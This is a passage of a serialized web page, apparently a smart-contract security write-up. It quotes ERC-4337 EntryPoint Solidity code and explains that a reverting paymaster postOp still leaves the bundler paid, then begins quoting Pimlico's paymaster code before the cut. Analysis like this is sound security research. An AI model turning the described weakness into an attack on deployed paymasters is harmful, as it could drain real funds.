",{"type":24,"tag":147,"props":111332,"children":111333},{"style":218},[111334],{"type":29,"value":111335},"external",{"type":24,"tag":147,"props":111337,"children":111338},{"style":321},[111339],{"type":29,"value":81577},{"type":24,"tag":147,"props":111341,"children":111342},{"style":235},[111343],{"type":29,"value":408},{"type":24,"tag":147,"props":111345,"children":111346},{"style":9044},[111347],{"type":29,"value":51768},{"type":24,"tag":147,"props":111349,"children":111350},{"style":247},[111351],{"type":29,"value":109398},{"type":24,"tag":147,"props":111353,"children":111354},{"style":235},[111355],{"type":29,"value":505},{"type":24,"tag":147,"props":111357,"children":111358},{"class":149,"line":196},[111359],{"type":24,"tag":147,"props":111360,"children":111361},{"style":235},[111362],{"type":29,"value":305},{"type":24,"tag":147,"props":111364,"children":111365},{"class":149,"line":205},[111366,111371,111375],{"type":24,"tag":147,"props":111367,"children":111368},{"style":235},[111369],{"type":29,"value":111370},"        IPaymaster.PostOpMode mode ",{"type":24,"tag":147,"props":111372,"children":111373},{"style":241},[111374],{"type":29,"value":369},{"type":24,"tag":147,"props":111376,"children":111377},{"style":235},[111378],{"type":29,"value":111379}," IPaymaster.PostOpMode.opSucceeded;\n",{"type":24,"tag":147,"props":111381,"children":111382},{"class":149,"line":214},[111383,111387,111392,111396,111400],{"type":24,"tag":147,"props":111384,"children":111385},{"style":321},[111386],{"type":29,"value":403},{"type":24,"tag":147,"props":111388,"children":111389},{"style":235},[111390],{"type":29,"value":111391}," (callData.length ",{"type":24,"tag":147,"props":111393,"children":111394},{"style":241},[111395],{"type":29,"value":3453},{"type":24,"tag":147,"props":111397,"children":111398},{"style":705},[111399],{"type":29,"value":708},{"type":24,"tag":147,"props":111401,"children":111402},{"style":235},[111403],{"type":29,"value":505},{"type":24,"tag":147,"props":111405,"children":111406},{"class":149,"line":272},[111407,111412,111417,111421,111426,111430,111435,111439],{"type":24,"tag":147,"props":111408,"children":111409},{"style":9044},[111410],{"type":29,"value":111411},"            bool",{"type":24,"tag":147,"props":111413,"children":111414},{"style":235},[111415],{"type":29,"value":111416}," success ",{"type":24,"tag":147,"props":111418,"children":111419},{"style":241},[111420],{"type":29,"value":369},{"type":24,"tag":147,"props":111422,"children":111423},{"style":235},[111424],{"type":29,"value":111425}," Exec.",{"type":24,"tag":147,"props":111427,"children":111428},{"style":229},[111429],{"type":29,"value":43893},{"type":24,"tag":147,"props":111431,"children":111432},{"style":235},[111433],{"type":29,"value":111434},"(mUserOp.sender, ",{"type":24,"tag":147,"props":111436,"children":111437},{"style":705},[111438],{"type":29,"value":3173},{"type":24,"tag":147,"props":111440,"children":111441},{"style":235},[111442],{"type":29,"value":111443},", callData, callGasLimit);\n",{"type":24,"tag":147,"props":111445,"children":111446},{"class":149,"line":281},[111447,111451,111455,111459],{"type":24,"tag":147,"props":111448,"children":111449},{"style":321},[111450],{"type":29,"value":64385},{"type":24,"tag":147,"props":111452,"children":111453},{"style":235},[111454],{"type":29,"value":408},{"type":24,"tag":147,"props":111456,"children":111457},{"style":241},[111458],{"type":29,"value":413},{"type":24,"tag":147,"props":111460,"children":111461},{"style":235},[111462],{"type":29,"value":110747},{"type":24,"tag":147,"props":111464,"children":111465},{"class":149,"line":299},[111466,111470,111475,111479,111484],{"type":24,"tag":147,"props":111467,"children":111468},{"style":9044},[111469],{"type":29,"value":109038},{"type":24,"tag":147,"props":111471,"children":111472},{"style":235},[111473],{"type":29,"value":111474}," freePtr ",{"type":24,"tag":147,"props":111476,"children":111477},{"style":241},[111478],{"type":29,"value":369},{"type":24,"tag":147,"props":111480,"children":111481},{"style":229},[111482],{"type":29,"value":111483}," _getFreePtr",{"type":24,"tag":147,"props":111485,"children":111486},{"style":235},[111487],{"type":29,"value":9295},{"type":24,"tag":147,"props":111489,"children":111490},{"class":149,"line":308},[111491,111495,111499,111504,111508,111512,111517],{"type":24,"tag":147,"props":111492,"children":111493},{"style":9044},[111494],{"type":29,"value":110432},{"type":24,"tag":147,"props":111496,"children":111497},{"style":218},[111498],{"type":29,"value":108658},{"type":24,"tag":147,"props":111500,"children":111501},{"style":235},[111502],{"type":29,"value":111503}," result ",{"type":24,"tag":147,"props":111505,"children":111506},{"style":241},[111507],{"type":29,"value":369},{"type":24,"tag":147,"props":111509,"children":111510},{"style":235},[111511],{"type":29,"value":111425},{"type":24,"tag":147,"props":111513,"children":111514},{"style":229},[111515],{"type":29,"value":111516},"getReturnData",{"type":24,"tag":147,"props":111518,"children":111519},{"style":235},[111520],{"type":29,"value":111521},"(REVERT_REASON_MAX_LEN);\n",{"type":24,"tag":147,"props":111523,"children":111524},{"class":149,"line":317},[111525,111529,111534,111538,111542],{"type":24,"tag":147,"props":111526,"children":111527},{"style":321},[111528],{"type":29,"value":1601},{"type":24,"tag":147,"props":111530,"children":111531},{"style":235},[111532],{"type":29,"value":111533}," (result.length ",{"type":24,"tag":147,"props":111535,"children":111536},{"style":241},[111537],{"type":29,"value":3453},{"type":24,"tag":147,"props":111539,"children":111540},{"style":705},[111541],{"type":29,"value":708},{"type":24,"tag":147,"props":111543,"children":111544},{"style":235},[111545],{"type":29,"value":505},{"type":24,"tag":147,"props":111547,"children":111548},{"class":149,"line":332},[111549,111554,111559],{"type":24,"tag":147,"props":111550,"children":111551},{"style":321},[111552],{"type":29,"value":111553},"                    emit",{"type":24,"tag":147,"props":111555,"children":111556},{"style":229},[111557],{"type":29,"value":111558}," UserOperationRevertReason",{"type":24,"tag":147,"props":111560,"children":111561},{"style":235},[111562],{"type":29,"value":9088},{"type":24,"tag":147,"props":111564,"children":111565},{"class":149,"line":350},[111566],{"type":24,"tag":147,"props":111567,"children":111568},{"style":235},[111569],{"type":29,"value":111570},"                        opInfo.userOpHash,\n",{"type":24,"tag":147,"props":111572,"children":111573},{"class":149,"line":358},[111574],{"type":24,"tag":147,"props":111575,"children":111576},{"style":235},[111577],{"type":29,"value":111578},"                        mUserOp.sender,\n",{"type":24,"tag":147,"props":111580,"children":111581},{"class":149,"line":397},[111582],{"type":24,"tag":147,"props":111583,"children":111584},{"style":235},[111585],{"type":29,"value":111586},"                        mUserOp.nonce,\n",{"type":24,"tag":147,"props":111588,"children":111589},{"class":149,"line":421},[111590],{"type":24,"tag":147,"props":111591,"children":111592},{"style":235},[111593],{"type":29,"value":111594},"                        result\n",{"type":24,"tag":147,"props":111596,"children":111597},{"class":149,"line":435},[111598],{"type":24,"tag":147,"props":111599,"children":111600},{"style":235},[111601],{"type":29,"value":111602},"                    );\n",{"type":24,"tag":147,"props":111604,"children":111605},{"class":149,"line":444},[111606],{"type":24,"tag":147,"props":111607,"children":111608},{"style":235},[111609],{"type":29,"value":1666},{"type":24,"tag":147,"props":111611,"children":111612},{"class":149,"line":452},[111613,111618],{"type":24,"tag":147,"props":111614,"children":111615},{"style":229},[111616],{"type":29,"value":111617},"                _restoreFreePtr",{"type":24,"tag":147,"props":111619,"children":111620},{"style":235},[111621],{"type":29,"value":111622},"(freePtr);\n",{"type":24,"tag":147,"props":111624,"children":111625},{"class":149,"line":461},[111626,111631,111635],{"type":24,"tag":147,"props":111627,"children":111628},{"style":235},[111629],{"type":29,"value":111630},"                mode ",{"type":24,"tag":147,"props":111632,"children":111633},{"style":241},[111634],{"type":29,"value":369},{"type":24,"tag":147,"props":111636,"children":111637},{"style":235},[111638],{"type":29,"value":111639}," IPaymaster.PostOpMode.opReverted;\n",{"type":24,"tag":147,"props":111641,"children":111642},{"class":149,"line":469},[111643],{"type":24,"tag":147,"props":111644,"children":111645},{"style":235},[111646],{"type":29,"value":1935},{"type":24,"tag":147,"props":111648,"children":111649},{"class":149,"line":508},[111650],{"type":24,"tag":147,"props":111651,"children":111652},{"style":235},[111653],{"type":29,"value":441},{"type":24,"tag":147,"props":111655,"children":111656},{"class":149,"line":572},[111657],{"type":24,"tag":147,"props":111658,"children":111659},{"emptyLinePlaceholder":16},[111660],{"type":29,"value":314},{"type":24,"tag":147,"props":111662,"children":111663},{"class":149,"line":591},[111664,111668],{"type":24,"tag":147,"props":111665,"children":111666},{"style":321},[111667],{"type":29,"value":108694},{"type":24,"tag":147,"props":111669,"children":111670},{"style":235},[111671],{"type":29,"value":6630},{"type":24,"tag":147,"props":111673,"children":111674},{"class":149,"line":632},[111675,111679,111683,111687,111691,111695,111699,111703,111707],{"type":24,"tag":147,"props":111676,"children":111677},{"style":9044},[111678],{"type":29,"value":108706},{"type":24,"tag":147,"props":111680,"children":111681},{"style":235},[111682],{"type":29,"value":110866},{"type":24,"tag":147,"props":111684,"children":111685},{"style":241},[111686],{"type":29,"value":369},{"type":24,"tag":147,"props":111688,"children":111689},{"style":235},[111690],{"type":29,"value":110875},{"type":24,"tag":147,"props":111692,"children":111693},{"style":241},[111694],{"type":29,"value":3470},{"type":24,"tag":147,"props":111696,"children":111697},{"style":218},[111698],{"type":29,"value":110884},{"type":24,"tag":147,"props":111700,"children":111701},{"style":235},[111702],{"type":29,"value":19658},{"type":24,"tag":147,"props":111704,"children":111705},{"style":241},[111706],{"type":29,"value":624},{"type":24,"tag":147,"props":111708,"children":111709},{"style":235},[111710],{"type":29,"value":110897},{"type":24,"tag":147,"props":111712,"children":111713},{"class":149,"line":659},[111714,111718,111722],{"type":24,"tag":147,"props":111715,"children":111716},{"style":321},[111717],{"type":29,"value":84660},{"type":24,"tag":147,"props":111719,"children":111720},{"style":229},[111721],{"type":29,"value":111006},{"type":24,"tag":147,"props":111723,"children":111724},{"style":235},[111725],{"type":29,"value":111726},"(mode, opInfo, context, actualGas);\n",{"type":24,"tag":147,"props":111728,"children":111729},{"class":149,"line":684},[111730],{"type":24,"tag":147,"props":111731,"children":111732},{"style":235},[111733],{"type":29,"value":441},{"type":24,"tag":147,"props":111735,"children":111736},{"class":149,"line":715},[111737],{"type":24,"tag":147,"props":111738,"children":111739},{"style":235},[111740],{"type":29,"value":1952},{"type":24,"tag":25,"props":111742,"children":111743},{},[111744,111746,111751,111753,111758,111760,111766,111768,111774,111776,111781,111783,111793],{"type":29,"value":111745},"We observe that, in the happy path, ",{"type":24,"tag":80,"props":111747,"children":111749},{"className":111748},[],[111750],{"type":29,"value":111097},{"type":29,"value":111752}," is expected to not only execute the actual ",{"type":24,"tag":80,"props":111754,"children":111756},{"className":111755},[],[111757],{"type":29,"value":107760},{"type":29,"value":111759}," call, but also call ",{"type":24,"tag":80,"props":111761,"children":111763},{"className":111762},[],[111764],{"type":29,"value":111765},"_postExecution",{"type":29,"value":111767},". This means that the third failure handling path, which passes ",{"type":24,"tag":80,"props":111769,"children":111771},{"className":111770},[],[111772],{"type":29,"value":111773},"postOpReverted",{"type":29,"value":111775}," as its mode, happens when something goes wrong with the ",{"type":24,"tag":80,"props":111777,"children":111779},{"className":111778},[],[111780],{"type":29,"value":111765},{"type":29,"value":111782}," call ",{"type":24,"tag":10949,"props":111784,"children":111785},{},[111786,111788],{"type":29,"value":111787},"inside ",{"type":24,"tag":80,"props":111789,"children":111791},{"className":111790},[],[111792],{"type":29,"value":111097},{"type":29,"value":87},{"type":24,"tag":25,"props":111795,"children":111796},{},[111797,111799,111804],{"type":29,"value":111798},"Let's examine the ",{"type":24,"tag":80,"props":111800,"children":111802},{"className":111801},[],[111803],{"type":29,"value":111765},{"type":29,"value":111805}," code to understand where the revert might occur.",{"type":24,"tag":137,"props":111807,"children":111809},{"className":10099,"code":111808,"language":10098,"meta":7,"style":7},"    function _postExecution(\n        IPaymaster.PostOpMode mode,\n        UserOpInfo memory opInfo,\n        bytes memory context,\n        uint256 actualGas\n    ) internal virtual returns (uint256 actualGasCost) {\n    [...]\n            if (paymaster == address(0)) {\n                refundAddress = mUserOp.sender;\n            } else {\n                refundAddress = paymaster;\n                if (context.length > 0) {\n                    actualGasCost = actualGas * gasPrice;\n                    uint256 postOpPreGas = gasleft();\n                    if (mode != IPaymaster.PostOpMode.postOpReverted) {\n                        try IPaymaster(paymaster).postOp{\n                                gas: mUserOp.paymasterPostOpGasLimit\n                            }(mode, context, actualGasCost, gasPrice)\n                        // solhint-disable-next-line no-empty-blocks\n                        {} catch {\n                            bytes memory reason = Exec.getReturnData(REVERT_REASON_MAX_LEN);\n                            revert PostOpReverted(reason);\n                        }\n                    }\n                    // Calculating a penalty for unused postOp gas\n                    // note that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n                    uint256 postOpGasUsed = postOpPreGas - gasleft();\n                    postOpUnusedGasPenalty = _getUnusedGasPenalty(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n                }\n            }\n    [...]\n    }\n",[111810],{"type":24,"tag":80,"props":111811,"children":111812},{"__ignoreMap":7},[111813,111828,111853,111872,111891,111903,111940,111947,111979,111996,112011,112027,112051,112076,112100,112122,112140,112157,112165,112183,112199,112232,112250,112257,112264,112272,112288,112320,112342,112349,112356,112363],{"type":24,"tag":147,"props":111814,"children":111815},{"class":149,"line":150},[111816,111820,111824],{"type":24,"tag":147,"props":111817,"children":111818},{"style":218},[111819],{"type":29,"value":95414},{"type":24,"tag":147,"props":111821,"children":111822},{"style":229},[111823],{"type":29,"value":111006},{"type":24,"tag":147,"props":111825,"children":111826},{"style":235},[111827],{"type":29,"value":9088},{"type":24,"tag":147,"props":111829,"children":111830},{"class":149,"line":160},[111831,111836,111840,111844,111849],{"type":24,"tag":147,"props":111832,"children":111833},{"style":218},[111834],{"type":29,"value":111835},"        IPaymaster",{"type":24,"tag":147,"props":111837,"children":111838},{"style":235},[111839],{"type":29,"value":87},{"type":24,"tag":147,"props":111841,"children":111842},{"style":247},[111843],{"type":29,"value":109369},{"type":24,"tag":147,"props":111845,"children":111846},{"style":247},[111847],{"type":29,"value":111848}," mode",{"type":24,"tag":147,"props":111850,"children":111851},{"style":235},[111852],{"type":29,"value":1549},{"type":24,"tag":147,"props":111854,"children":111855},{"class":149,"line":169},[111856,111860,111864,111868],{"type":24,"tag":147,"props":111857,"children":111858},{"style":218},[111859],{"type":29,"value":110316},{"type":24,"tag":147,"props":111861,"children":111862},{"style":218},[111863],{"type":29,"value":108658},{"type":24,"tag":147,"props":111865,"children":111866},{"style":247},[111867],{"type":29,"value":111302},{"type":24,"tag":147,"props":111869,"children":111870},{"style":235},[111871],{"type":29,"value":1549},{"type":24,"tag":147,"props":111873,"children":111874},{"class":149,"line":178},[111875,111879,111883,111887],{"type":24,"tag":147,"props":111876,"children":111877},{"style":9044},[111878],{"type":29,"value":111273},{"type":24,"tag":147,"props":111880,"children":111881},{"style":218},[111882],{"type":29,"value":108658},{"type":24,"tag":147,"props":111884,"children":111885},{"style":247},[111886],{"type":29,"value":81924},{"type":24,"tag":147,"props":111888,"children":111889},{"style":235},[111890],{"type":29,"value":1549},{"type":24,"tag":147,"props":111892,"children":111893},{"class":149,"line":187},[111894,111898],{"type":24,"tag":147,"props":111895,"children":111896},{"style":9044},[111897],{"type":29,"value":95592},{"type":24,"tag":147,"props":111899,"children":111900},{"style":247},[111901],{"type":29,"value":111902}," actualGas\n",{"type":24,"tag":147,"props":111904,"children":111905},{"class":149,"line":196},[111906,111910,111915,111920,111924,111928,111932,111936],{"type":24,"tag":147,"props":111907,"children":111908},{"style":235},[111909],{"type":29,"value":111330},{"type":24,"tag":147,"props":111911,"children":111912},{"style":218},[111913],{"type":29,"value":111914},"internal",{"type":24,"tag":147,"props":111916,"children":111917},{"style":218},[111918],{"type":29,"value":111919}," virtual",{"type":24,"tag":147,"props":111921,"children":111922},{"style":321},[111923],{"type":29,"value":81577},{"type":24,"tag":147,"props":111925,"children":111926},{"style":235},[111927],{"type":29,"value":408},{"type":24,"tag":147,"props":111929,"children":111930},{"style":9044},[111931],{"type":29,"value":51768},{"type":24,"tag":147,"props":111933,"children":111934},{"style":247},[111935],{"type":29,"value":109398},{"type":24,"tag":147,"props":111937,"children":111938},{"style":235},[111939],{"type":29,"value":505},{"type":24,"tag":147,"props":111941,"children":111942},{"class":149,"line":205},[111943],{"type":24,"tag":147,"props":111944,"children":111945},{"style":235},[111946],{"type":29,"value":305},{"type":24,"tag":147,"props":111948,"children":111949},{"class":149,"line":214},[111950,111954,111959,111963,111967,111971,111975],{"type":24,"tag":147,"props":111951,"children":111952},{"style":321},[111953],{"type":29,"value":64385},{"type":24,"tag":147,"props":111955,"children":111956},{"style":235},[111957],{"type":29,"value":111958}," (paymaster ",{"type":24,"tag":147,"props":111960,"children":111961},{"style":241},[111962],{"type":29,"value":6600},{"type":24,"tag":147,"props":111964,"children":111965},{"style":9044},[111966],{"type":29,"value":11875},{"type":24,"tag":147,"props":111968,"children":111969},{"style":235},[111970],{"type":29,"value":480},{"type":24,"tag":147,"props":111972,"children":111973},{"style":705},[111974],{"type":29,"value":3173},{"type":24,"tag":147,"props":111976,"children":111977},{"style":235},[111978],{"type":29,"value":1432},{"type":24,"tag":147,"props":111980,"children":111981},{"class":149,"line":272},[111982,111987,111991],{"type":24,"tag":147,"props":111983,"children":111984},{"style":235},[111985],{"type":29,"value":111986},"                refundAddress ",{"type":24,"tag":147,"props":111988,"children":111989},{"style":241},[111990],{"type":29,"value":369},{"type":24,"tag":147,"props":111992,"children":111993},{"style":235},[111994],{"type":29,"value":111995}," mUserOp.sender;\n",{"type":24,"tag":147,"props":111997,"children":111998},{"class":149,"line":281},[111999,112003,112007],{"type":24,"tag":147,"props":112000,"children":112001},{"style":235},[112002],{"type":29,"value":76177},{"type":24,"tag":147,"props":112004,"children":112005},{"style":321},[112006],{"type":29,"value":6625},{"type":24,"tag":147,"props":112008,"children":112009},{"style":235},[112010],{"type":29,"value":6630},{"type":24,"tag":147,"props":112012,"children":112013},{"class":149,"line":299},[112014,112018,112022],{"type":24,"tag":147,"props":112015,"children":112016},{"style":235},[112017],{"type":29,"value":111986},{"type":24,"tag":147,"props":112019,"children":112020},{"style":241},[112021],{"type":29,"value":369},{"type":24,"tag":147,"props":112023,"children":112024},{"style":235},[112025],{"type":29,"value":112026}," paymaster;\n",{"type":24,"tag":147,"props":112028,"children":112029},{"class":149,"line":308},[112030,112034,112039,112043,112047],{"type":24,"tag":147,"props":112031,"children":112032},{"style":321},[112033],{"type":29,"value":1601},{"type":24,"tag":147,"props":112035,"children":112036},{"style":235},[112037],{"type":29,"value":112038}," (context.length ",{"type":24,"tag":147,"props":112040,"children":112041},{"style":241},[112042],{"type":29,"value":3453},{"type":24,"tag":147,"props":112044,"children":112045},{"style":705},[112046],{"type":29,"value":708},{"type":24,"tag":147,"props":112048,"children":112049},{"style":235},[112050],{"type":29,"value":505},{"type":24,"tag":147,"props":112052,"children":112053},{"class":149,"line":317},[112054,112059,112063,112067,112071],{"type":24,"tag":147,"props":112055,"children":112056},{"style":235},[112057],{"type":29,"value":112058},"                    actualGasCost ",{"type":24,"tag":147,"props":112060,"children":112061},{"style":241},[112062],{"type":29,"value":369},{"type":24,"tag":147,"props":112064,"children":112065},{"style":235},[112066],{"type":29,"value":110866},{"type":24,"tag":147,"props":112068,"children":112069},{"style":241},[112070],{"type":29,"value":244},{"type":24,"tag":147,"props":112072,"children":112073},{"style":235},[112074],{"type":29,"value":112075}," gasPrice;\n",{"type":24,"tag":147,"props":112077,"children":112078},{"class":149,"line":332},[112079,112083,112088,112092,112096],{"type":24,"tag":147,"props":112080,"children":112081},{"style":9044},[112082],{"type":29,"value":109055},{"type":24,"tag":147,"props":112084,"children":112085},{"style":235},[112086],{"type":29,"value":112087}," postOpPreGas ",{"type":24,"tag":147,"props":112089,"children":112090},{"style":241},[112091],{"type":29,"value":369},{"type":24,"tag":147,"props":112093,"children":112094},{"style":218},[112095],{"type":29,"value":110884},{"type":24,"tag":147,"props":112097,"children":112098},{"style":235},[112099],{"type":29,"value":9295},{"type":24,"tag":147,"props":112101,"children":112102},{"class":149,"line":350},[112103,112108,112113,112117],{"type":24,"tag":147,"props":112104,"children":112105},{"style":321},[112106],{"type":29,"value":112107},"                    if",{"type":24,"tag":147,"props":112109,"children":112110},{"style":235},[112111],{"type":29,"value":112112}," (mode ",{"type":24,"tag":147,"props":112114,"children":112115},{"style":241},[112116],{"type":29,"value":4279},{"type":24,"tag":147,"props":112118,"children":112119},{"style":235},[112120],{"type":29,"value":112121}," IPaymaster.PostOpMode.postOpReverted) {\n",{"type":24,"tag":147,"props":112123,"children":112124},{"class":149,"line":358},[112125,112130,112135],{"type":24,"tag":147,"props":112126,"children":112127},{"style":321},[112128],{"type":29,"value":112129},"                        try",{"type":24,"tag":147,"props":112131,"children":112132},{"style":229},[112133],{"type":29,"value":112134}," IPaymaster",{"type":24,"tag":147,"props":112136,"children":112137},{"style":235},[112138],{"type":29,"value":112139},"(paymaster).postOp{\n",{"type":24,"tag":147,"props":112141,"children":112142},{"class":149,"line":397},[112143,112148,112152],{"type":24,"tag":147,"props":112144,"children":112145},{"style":235},[112146],{"type":29,"value":112147},"                                gas",{"type":24,"tag":147,"props":112149,"children":112150},{"style":241},[112151],{"type":29,"value":978},{"type":24,"tag":147,"props":112153,"children":112154},{"style":235},[112155],{"type":29,"value":112156}," mUserOp.paymasterPostOpGasLimit\n",{"type":24,"tag":147,"props":112158,"children":112159},{"class":149,"line":421},[112160],{"type":24,"tag":147,"props":112161,"children":112162},{"style":235},[112163],{"type":29,"value":112164},"                            }(mode, context, actualGasCost, gasPrice)\n",{"type":24,"tag":147,"props":112166,"children":112167},{"class":149,"line":435},[112168,112173,112178],{"type":24,"tag":147,"props":112169,"children":112170},{"style":154},[112171],{"type":29,"value":112172},"                        // ",{"type":24,"tag":147,"props":112174,"children":112175},{"style":218},[112176],{"type":29,"value":112177},"solhint-disable",{"type":24,"tag":147,"props":112179,"children":112180},{"style":154},[112181],{"type":29,"value":112182},"-next-line no-empty-blocks\n",{"type":24,"tag":147,"props":112184,"children":112185},{"class":149,"line":444},[112186,112191,112195],{"type":24,"tag":147,"props":112187,"children":112188},{"style":235},[112189],{"type":29,"value":112190},"                        {} ",{"type":24,"tag":147,"props":112192,"children":112193},{"style":321},[112194],{"type":29,"value":54010},{"type":24,"tag":147,"props":112196,"children":112197},{"style":235},[112198],{"type":29,"value":6630},{"type":24,"tag":147,"props":112200,"children":112201},{"class":149,"line":452},[112202,112207,112211,112216,112220,112224,112228],{"type":24,"tag":147,"props":112203,"children":112204},{"style":9044},[112205],{"type":29,"value":112206},"                            bytes",{"type":24,"tag":147,"props":112208,"children":112209},{"style":218},[112210],{"type":29,"value":108658},{"type":24,"tag":147,"props":112212,"children":112213},{"style":235},[112214],{"type":29,"value":112215}," reason ",{"type":24,"tag":147,"props":112217,"children":112218},{"style":241},[112219],{"type":29,"value":369},{"type":24,"tag":147,"props":112221,"children":112222},{"style":235},[112223],{"type":29,"value":111425},{"type":24,"tag":147,"props":112225,"children":112226},{"style":229},[112227],{"type":29,"value":111516},{"type":24,"tag":147,"props":112229,"children":112230},{"style":235},[112231],{"type":29,"value":111521},{"type":24,"tag":147,"props":112233,"children":112234},{"class":149,"line":461},[112235,112240,112245],{"type":24,"tag":147,"props":112236,"children":112237},{"style":321},[112238],{"type":29,"value":112239},"                            revert",{"type":24,"tag":147,"props":112241,"children":112242},{"style":229},[112243],{"type":29,"value":112244}," PostOpReverted",{"type":24,"tag":147,"props":112246,"children":112247},{"style":235},[112248],{"type":29,"value":112249},"(reason);\n",{"type":24,"tag":147,"props":112251,"children":112252},{"class":149,"line":469},[112253],{"type":24,"tag":147,"props":112254,"children":112255},{"style":235},[112256],{"type":29,"value":76561},{"type":24,"tag":147,"props":112258,"children":112259},{"class":149,"line":508},[112260],{"type":24,"tag":147,"props":112261,"children":112262},{"style":235},[112263],{"type":29,"value":76646},{"type":24,"tag":147,"props":112265,"children":112266},{"class":149,"line":572},[112267],{"type":24,"tag":147,"props":112268,"children":112269},{"style":154},[112270],{"type":29,"value":112271},"                    // Calculating a penalty for unused postOp gas\n",{"type":24,"tag":147,"props":112273,"children":112274},{"class":149,"line":591},[112275,112279,112283],{"type":24,"tag":147,"props":112276,"children":112277},{"style":154},[112278],{"type":29,"value":109119},{"type":24,"tag":147,"props":112280,"children":112281},{"style":218},[112282],{"type":29,"value":72341},{"type":24,"tag":147,"props":112284,"children":112285},{"style":154},[112286],{"type":29,"value":112287}," that if postOp is reverted, the maximum penalty (10% of postOpGasLimit) is charged.\n",{"type":24,"tag":147,"props":112289,"children":112290},{"class":149,"line":632},[112291,112295,112300,112304,112308,112312,112316],{"type":24,"tag":147,"props":112292,"children":112293},{"style":9044},[112294],{"type":29,"value":109055},{"type":24,"tag":147,"props":112296,"children":112297},{"style":235},[112298],{"type":29,"value":112299}," postOpGasUsed ",{"type":24,"tag":147,"props":112301,"children":112302},{"style":241},[112303],{"type":29,"value":369},{"type":24,"tag":147,"props":112305,"children":112306},{"style":235},[112307],{"type":29,"value":112087},{"type":24,"tag":147,"props":112309,"children":112310},{"style":241},[112311],{"type":29,"value":3470},{"type":24,"tag":147,"props":112313,"children":112314},{"style":218},[112315],{"type":29,"value":110884},{"type":24,"tag":147,"props":112317,"children":112318},{"style":235},[112319],{"type":29,"value":9295},{"type":24,"tag":147,"props":112321,"children":112322},{"class":149,"line":659},[112323,112328,112332,112337],{"type":24,"tag":147,"props":112324,"children":112325},{"style":235},[112326],{"type":29,"value":112327},"                    postOpUnusedGasPenalty ",{"type":24,"tag":147,"props":112329,"children":112330},{"style":241},[112331],{"type":29,"value":369},{"type":24,"tag":147,"props":112333,"children":112334},{"style":229},[112335],{"type":29,"value":112336}," _getUnusedGasPenalty",{"type":24,"tag":147,"props":112338,"children":112339},{"style":235},[112340],{"type":29,"value":112341},"(postOpGasUsed, mUserOp.paymasterPostOpGasLimit);\n",{"type":24,"tag":147,"props":112343,"children":112344},{"class":149,"line":684},[112345],{"type":24,"tag":147,"props":112346,"children":112347},{"style":235},[112348],{"type":29,"value":1666},{"type":24,"tag":147,"props":112350,"children":112351},{"class":149,"line":715},[112352],{"type":24,"tag":147,"props":112353,"children":112354},{"style":235},[112355],{"type":29,"value":1935},{"type":24,"tag":147,"props":112357,"children":112358},{"class":149,"line":744},[112359],{"type":24,"tag":147,"props":112360,"children":112361},{"style":235},[112362],{"type":29,"value":305},{"type":24,"tag":147,"props":112364,"children":112365},{"class":149,"line":784},[112366],{"type":24,"tag":147,"props":112367,"children":112368},{"style":235},[112369],{"type":29,"value":1952},{"type":24,"tag":25,"props":112371,"children":112372},{},[112373,112375,112380,112382,112388,112390,112396,112398,112403,112405,112410,112412,112417,112419,112424,112426,112431,112433,112438],{"type":29,"value":112374},"It turns out that if the ",{"type":24,"tag":80,"props":112376,"children":112378},{"className":112377},[],[112379],{"type":29,"value":107959},{"type":29,"value":112381}," call fails, it will revert with ",{"type":24,"tag":80,"props":112383,"children":112385},{"className":112384},[],[112386],{"type":29,"value":112387},"PostOpReverted",{"type":29,"value":112389},". However, as we can see in the previous code of ",{"type":24,"tag":80,"props":112391,"children":112393},{"className":112392},[],[112394],{"type":29,"value":112395},"_executeUserOp",{"type":29,"value":112397},", even though ",{"type":24,"tag":80,"props":112399,"children":112401},{"className":112400},[],[112402],{"type":29,"value":111097},{"type":29,"value":112404}," fails, the execution won't revert. Instead, it will continue to make another ",{"type":24,"tag":80,"props":112406,"children":112408},{"className":112407},[],[112409],{"type":29,"value":111765},{"type":29,"value":112411}," call with ",{"type":24,"tag":80,"props":112413,"children":112415},{"className":112414},[],[112416],{"type":29,"value":111773},{"type":29,"value":112418}," mode, and it won't try to call ",{"type":24,"tag":80,"props":112420,"children":112422},{"className":112421},[],[112423],{"type":29,"value":107959},{"type":29,"value":112425}," again. This means the ",{"type":24,"tag":80,"props":112427,"children":112429},{"className":112428},[],[112430],{"type":29,"value":107820},{"type":29,"value":112432}," still gets paid for submitting the failed ",{"type":24,"tag":80,"props":112434,"children":112436},{"className":112435},[],[112437],{"type":29,"value":107760},{"type":29,"value":87},{"type":24,"tag":25,"props":112440,"children":112441},{},[112442,112444,112449,112451,112456,112458,112465],{"type":29,"value":112443},"Now that we understand this behavior where ",{"type":24,"tag":80,"props":112445,"children":112447},{"className":112446},[],[112448],{"type":29,"value":107959},{"type":29,"value":112450}," is allowed to fail while the ",{"type":24,"tag":80,"props":112452,"children":112454},{"className":112453},[],[112455],{"type":29,"value":107820},{"type":29,"value":112457}," still gets paid, let's examine a real-world example from the most widely used paymaster currently, which is the paymaster implemented by ",{"type":24,"tag":2773,"props":112459,"children":112462},{"href":112460,"rel":112461},"https://github.com/pimlicolabs/singleton-paymaster/blob/feat/v8/src/SingletonPaymasterV7.sol",[2777],[112463],{"type":29,"value":112464},"Pimlico",{"type":29,"value":87},{"type":24,"tag":137,"props":112467,"children":112469},{"className":10099,"code":112468,"language":10098,"meta":7,"style":7},"    function _postOp(\n        PostOpMode, /* mode */\n        bytes calldata _context,\n        uint256 _actualGasCost,\n        uint256 _actualUserOpFeePerGas\n    )\n        internal\n    {\n        ERC20PostOpContext memory ctx = _parsePostOpContext(_context);\n\n        uint256 expectedPenaltyGasCost = _expectedPenaltyGasCost(\n            _actualGasCost, _actualUserOpFeePerGas, ctx.postOpGas, ctx.preOpGasApproximation, ctx.executionGasLimit\n        );\n\n        uint256 actualGasCost = _actualGasCost + expectedPenaltyGasCost;\n\n        uint256 costInToken =\n            getCostInToken(actualGasCost, ctx.postOpGas, _actualUserOpFeePerGas, ctx.exchangeRate) + ctx.constantFee;\n\n        uint256 absoluteCostInToken =\n            costInToken > ctx.preFundCharged ? costInToken - ctx.preFundCharged : ctx.preFundCharged - costInToken;\n\n        SafeTransferLib.safeTransferFrom(\n            ctx.token,\n            costInToken > ctx.preFundCharged ? ctx.sender : ctx.treasury,\n            costInToken > ctx.preFundCharged ? ctx.treasury : ctx.sender,\n            absoluteCostInToken\n        );\n\n        uint256 preFundInToken = (ctx.preFund * ctx.exchangeRate) / 1e18;\n\n        if (ctx.recipient != address(0) && 